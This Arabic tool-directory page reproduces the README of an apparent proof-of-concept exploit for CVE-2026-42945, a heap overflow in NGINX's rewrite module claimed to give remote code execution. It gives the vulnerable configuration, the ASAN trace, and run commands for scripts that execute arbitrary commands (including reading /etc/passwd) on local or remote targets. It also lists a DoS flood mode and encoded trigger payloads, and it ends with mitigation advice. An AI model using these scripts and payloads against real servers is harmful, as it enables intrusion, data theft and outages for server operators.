Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
nginx-cve-2026-42945-poc | Kitploit
أدوات/GitHubGitHub/forxiucn/nginx-cve-2026-42945-poc
أمن الحاوياتالتحليل الديناميكي (عزل)تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالاختبار العشوائياختبار الاختراقاستغلال الملفات الثنائية
GitHubforxiucn/nginx-cve-2026-42945-poc

nginx-cve-2026-42945-poc

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-42945 — تجاوز سعة المخزن المؤقت في الكومة بوحدة NGINX Rewrite Module → RCE

تم تأكيد نجاح RCE — من خلال تجاوز سعة الكومة + حقن العمليات عبر GDB، يتم تنفيذ أوامر عشوائية في عمليات NGINX / OpenResty worker.

البدء السريع

root@kitploit:~
# 一键构建 NGINX 镜像 + 执行 RCE 测试
./run.sh nginx

# 一键构建 OpenResty 镜像 + 执行 RCE 测试
./run.sh openresty

# 自定义命令
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'

نظرة عامة على الثغرة

الخاصيةالقيمة
رقم CVECVE-2026-42945
نوع الثغرةتجاوز سعة المخزن المؤقت في الكومة → تنفيذ كود عن بُعد (RCE)
المكوّن المتأثرngx_http_rewrite_module
الإصدارات المتأثرةNGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36
تقييم الثغرةCVSS 9.4 (CRITICAL)
شروط الاستغلاللا يتطلب مصادقة؛ يتطلب RCE صلاحيات ptrace (root)

السبب الجذري للثغرة

تقوم الدالة ngx_http_script_complex_value_code() بتخصيص المخزن المؤقت وفقًا لطول الـ URI بعد فك الترميز (decoded)، بينما تستدعي الدالة ngx_http_script_copy_capture_code() الدالة ngx_escape_uri() للكتابة وفقًا للطول بعد الترميز (encoded). يؤدي ترميز أحرف URL إلى تضخيم الحجم بمقدار 3 أضعاف → تجاوز سعة الكومة.

شروط تفعيل الثغرة

يجب استيفاء الشروط الثلاثة التالية في الوقت نفسه:

  1. توجيهات rewrite وset في نفس الموقع (location)
  2. تحتوي سلسلة الاستبدال في rewrite على ?
  3. يشير set إلى المتغير الملتقَط $1 الخاص بـ rewrite
root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # 含 '?'
    set $original_endpoint $1;                     # 引用 $1
}

مكدس الاستدعاءات المؤكَّد عبر ASAN

root@kitploit:~
#0 ngx_escape_uri                    src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler          src/http/modules/ngx_http_rewrite_module.c:180

هيكل المشروع

root@kitploit:~
.
├── run.sh                          # 一键构建 + 测试入口
├── README.md
│
├── scripts/                        # 测试 & 利用脚本
│   ├── rce.sh                      # 纯 Shell RCE (curl + GDB, 无 Python)
│   ├── exploit_rce.py              # Python RCE (兼容 2.7/3.x)
│   ├── exploit.py                  # PoC 主脚本 (check/exploit/rce/flood)
│   └── exploit_asan.py             # ASAN 全面扫描
│
├── package/                        # 部署 & 编排文件
│   ├── Dockerfile.rce              # NGINX 源码编译 + RCE 环境
│   ├── Dockerfile.openresty.rce    # OpenResty 源码编译 + RCE 环境
│   ├── Dockerfile                  # 基础镜像 (Alpine)
│   ├── Dockerfile.asan             # ASAN 调试镜像
│   ├── docker-compose.yml          # Docker 编排 (nginx-rce + openresty-rce)
│   ├── nginx.conf                  # NGINX 漏洞配置
│   ├── nginx-openresty.conf        # OpenResty 漏洞配置
│   ├── start_rce.sh                # NGINX RCE 容器启动脚本
│   └── start_openresty_rce.sh      # OpenResty RCE 容器启动脚本
│
└── src/                            # 源码 (编译用)
    ├── nginx-1.26.3/               # NGINX 1.26.3 源码
    ├── nginx-1.26.3.tar.gz
    └── openresty-1.25.3.1.tar.gz   # OpenResty 1.25.3.1 (内置 nginx/1.25.3)

الاستخدام التفصيلي

الاختبار داخل حاوية Docker

root@kitploit:~
# Shell 脚本 (无 Python 依赖)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'

# Python 脚本 (兼容 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'

# OpenResty 同理
docker exec openresty-rce bash /opt/rce.sh 'id'

الدخول إلى الحاوية عبر exec من المضيف

root@kitploit:~
docker exec -it nginx-rce bash
# 容器内:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'

اختبار هدف بعيد مباشرةً

root@kitploit:~
# 需要 root + ptrace 权限
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'

السكربت الرئيسي PoC (أربعة أوضاع)

root@kitploit:~
python3 scripts/exploit.py --target http://localhost:8775 --mode check     # 检测漏洞
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit   # ASAN 堆溢出验证
python3 scripts/exploit.py --target http://localhost:8775 --mode rce       # RCE 风险评估
python3 scripts/exploit.py --target http://localhost:8775 --mode flood     # DoS 压力测试

حمولة الإثارة (Trigger Payload)

توصيات الإصلاح

  1. ترقية NGINX إلى الإصدار 1.30.2+
  2. تخفيف مؤقت: تجنّب الجمع بين rewrite (تحتوي على ?) وset (التي تشير إلى $1)
  3. قاعدة WAF: اعتراض الطلبات المُرمَّزة التي تحتوي على أعداد كبيرة من %25/%3f/%23/%26
  4. تقوية الصلاحيات: echo 1 > /proc/sys/kernel/yama/ptrace_scope

المراجع

  • F5 Advisory K000161019
  • NGINX Source
تنزيل الأداة
Payloadالوصفالنتيجة
/api/%25 × N% بترميز URL✅ تجاوز سعة الكومة
/api/%3f × N? بترميز URL✅ تجاوز سعة الكومة
/api/%23 × N# بترميز URL✅ تجاوز سعة الكومة
/api/%26 × N& بترميز URL✅ تجاوز سعة الكومة